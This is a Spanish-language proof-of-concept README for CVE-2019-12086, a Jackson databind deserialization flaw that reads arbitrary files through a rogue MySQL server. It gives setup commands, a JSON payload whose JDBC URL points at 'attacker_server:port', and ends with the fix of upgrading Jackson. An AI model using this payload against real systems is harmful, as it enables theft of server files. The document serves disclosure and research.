
Prueba de concepto para CVE-2019-12086: vulnerabilidad de deserialización de Jackson databind que permite la lectura arbitraria de archivos mediante un servidor MySQL malicioso cuando Default Typing está habilitado.
Cuando Default Typing está habilitado y en el classpath existe mysql-connector-java versión 8.0.15 (publicada el 1 de febrero de 2019) o inferior, un atacante puede leer archivos arbitrarios enviando datos JSON maliciosos. La librería mysql-connector-java es la mysql JDBC comúnmente utilizada para conectar bases de datos.
La descripción de CVE es la siguiente:
A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.
Detalles de la vulnerabilidad:
com.mysql.cj.jdbc.admin.MiniAdmin acepta un valor de tipo string, que representa una URL JDBC. La clase com.mysql.cj.jdbc.admin.MiniAdmin se conecta a la base de datos MySQL especificada en esa URL JDBC durante la inicialización.python rogue_mysql_server.py
tail -f mysql.log
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]
# edit IP & Port at the payload "./volume/src/main/java/poc/Main.java".
$ docker build .
Actualizar Jackson a la versión 2.9.9 o superior.